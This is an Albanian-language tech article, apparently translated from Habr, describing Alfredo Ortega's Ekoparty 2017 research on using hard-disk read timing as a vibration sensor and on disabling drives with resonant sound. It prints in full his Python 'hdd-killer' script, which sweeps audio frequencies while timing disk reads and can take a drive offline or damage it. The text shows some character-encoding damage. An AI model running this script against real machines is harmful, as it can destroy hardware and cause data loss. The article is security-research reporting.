
Në konferencën e sigurisë kompjuterike Ekoparty 2017 në Buenos Aires, hakeri argjentinas Alfredo Ortega tregoi një zhvillim shumë interesant - një sistem për përgjimin e fshehtë të ambienteve pa përdorur mikrofon. Tingull !
HDD kryesisht merr tinguj me intensitet të lartë me frekuencë të ulët, hapa dhe dridhje të tjera. Fjalimi i njeriut ende nuk mund të njihet, megjithëse shkencëtarët (njohja e të folurit nga dridhjet me frekuencë të ulët, të cilat regjistrohen, për shembull, nga një xhiroskop ose HDD).
Tingulli është dridhja e ajrit ose e një mediumi tjetër. Një person i percepton ato përmes daulles së veshit, e cila transmeton dridhje në veshin e brendshëm. Mikrofoni është projektuar përafërsisht si një vesh - edhe këtu, dridhjet regjistrohen nga një membranë e hollë, e cila ngacmon një impuls elektrik. Disku i ngurtë, natyrisht, është gjithashtu subjekt i dridhjeve mikroskopike për shkak të luhatjeve në ajrin përreth. Kjo dihet edhe nga karakteristikat teknike të HDD: prodhuesit zakonisht tregojnë nivelin maksimal të lejueshëm të dridhjeve, dhe vetë hard disku shpesh përpiqet ta vendosë atë në një enë rezistente ndaj dridhjeve të bërë prej gome ose materiali tjetër izolues. Nga kjo është e lehtë të konkludohet se tingujt mund të regjistrohen duke përdorur HDD. Gjithçka që mbetet është të kuptojmë se si.
Alfredo Ortega propozoi një version unik të një sulmi në kanalin anësor, domethënë një sulm në kohë. Ky sulm bazohet në supozimin se operacione të ndryshme kryhen në pajisje në kohë të ndryshme, në varësi të të dhënave hyrëse të dhëna. Në këtë rast, "të dhënat hyrëse" janë dridhjet e kokës së leximit dhe pjatës HDD, të cilat lidhen me dridhjet e mjedisit, domethënë me zërin. Kështu, duke matur kohën e llogaritjes dhe duke kryer një analizë statistikore të të dhënave, mund të maten dridhjet e kokës/pjatës dhe rrjedhimisht dridhjet e mediumit. Sa më e gjatë të jetë vonesa në leximin e të dhënave, aq më të forta janë dridhjet e HDD-së dhe, për rrjedhojë, aq më i lartë është zëri.
Si tĂ« matni dridhjet e diskut? ShumĂ« e thjeshtĂ«: thjesht ekzekutoni thirrjen e sistemit read () â dhe regjistroni kohĂ«n qĂ« duhet pĂ«r tĂ« pĂ«rfunduar. Sistemet moderne operative ju lejojnĂ« tĂ« lexoni kohĂ«n e thirrjeve tĂ« sistemit me saktĂ«si nanosekonda.
Shpejtësia e leximit të informacionit nga një sektor varet nga pozicioni i kokës dhe pjatës, i cili lidhet me dridhjet e kasës HDD. Kjo eshte e gjitha.
Analiza statistikore kryhet duke përdorur një mjet të thjeshtë Kscope. Siç thonë ata, gjithçka gjeniale është e thjeshtë.

Shërbimi Kscope (stat() syscall)
Kscope është një mjet i vogël për vizualizimin e dallimeve të vogla në kohën e ekzekutimit të thirrjeve të sistemit. Burimi.
Në një depo të veçantë ekziston një version i mjetit të konfiguruar për një sulm kohor në hard disk, domethënë i konfiguruar për të analizuar thirrjen e sistemit read ().
Demonstrimi i regjistrimit të zërit duke përdorur HDD, funksionimi i mjetit Kscope

Sigurisht, fjalimi nuk mund të kuptohet në këtë mënyrë, por HDD është mjaft i përshtatshëm si një sensor dridhjeje. Për shembull, mund të regjistroheni nëse një person i veshur me këpucë të forta ose zbathur hyri në një dhomë me një kompjuter (ndoshta, nëse sulmuesi ka veshur atlete të buta ose ka një qilim të trashë në dysheme, HDD nuk do të jetë në gjendje të regjistrojë dridhje - kjo ia vlen të kontrollohet). Kompjuteri është në gjendje të regjistrojë xhami të thyer ose incidente të tjera me intensitet të fortë zëri. Kjo do të thotë, hard disku mund të shërbejë si një lloj sistemi i paautorizuar i zbulimit të ndërhyrjeve.
Vrasës HDD
Rastësisht, një teknikë e ngjashme mund të përdoret për të çaktivizuar disqet e forta. Megjithatë, këtu ne nuk kapim dridhjet nga HDD, por gjenerojmë dridhje që ushqehen në HDD. Nëse luani audio nga një altoparlant në një frekuencë që rezonon me frekuencën e HDD, sistemi së shpejti do ta fikë pajisjen me një gabim I/O (bërthamën). Linux (Kjo e fik plotësisht HDD-në pas 120 sekondash.) Vetë hard disku mund të dëmtohet në mënyrë të pakthyeshme.

Thelbi Linux Disku i ngurtë u fik pas 120 sekondash luajtjeje të zërit në një frekuencë rezonante përmes altoparlantit USB Edifier r19u. Altoparlanti u ndez me rreth një të katërtën e fuqisë së tij (më pak se 100 mW) dhe u pozicionua 20 cm nga HDD, i drejtuar nga tavolina për të amplifikuar dridhjet. Ende nga me një demonstrim të vrasësit të HDD
ĂshtĂ« kureshtare qĂ« "sulme" tĂ« tilla nĂ« HDD ndonjĂ«herĂ« ndodhin krejtĂ«sisht rastĂ«sisht nĂ« jetĂ«n e pĂ«rditshme. PĂ«r shembull, nĂ« shtator 2016, qendra e tĂ« dhĂ«nave ING Bank u detyrua tĂ« pezullonte operacionet pĂ«r 10 orĂ« pas njĂ« stĂ«rvitje zjarri. pĂ«r shkak tĂ« zhurmĂ«s sĂ« fortĂ« tĂ« gazit inert qĂ« lĂ«shohet nga cilindrat nĂ«n presion tĂ« lartĂ«. Tingulli ishte shumĂ« i lartĂ« (mĂ« shumĂ« se 130 dB), por nuk mund tĂ« bĂ«rtisni as nĂ« disqet e ngurtĂ« - kjo rrit vonesĂ«n nĂ« hyrjen nĂ« HDD.
Demonstrimi i bërtitjes njerëzore në disqet e ngurtë në një qendër të dhënash. Matja e vonesës

Për të gjeneruar tingullin rezonues, Alfredo Ortega shkroi një skenar Python të quajtur ().
ĂshtĂ« mjaft i vogĂ«l, kĂ«shtu qĂ« mund ta publikoni tĂ« plotĂ« kĂ«tu.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Burimi: www.habr.com
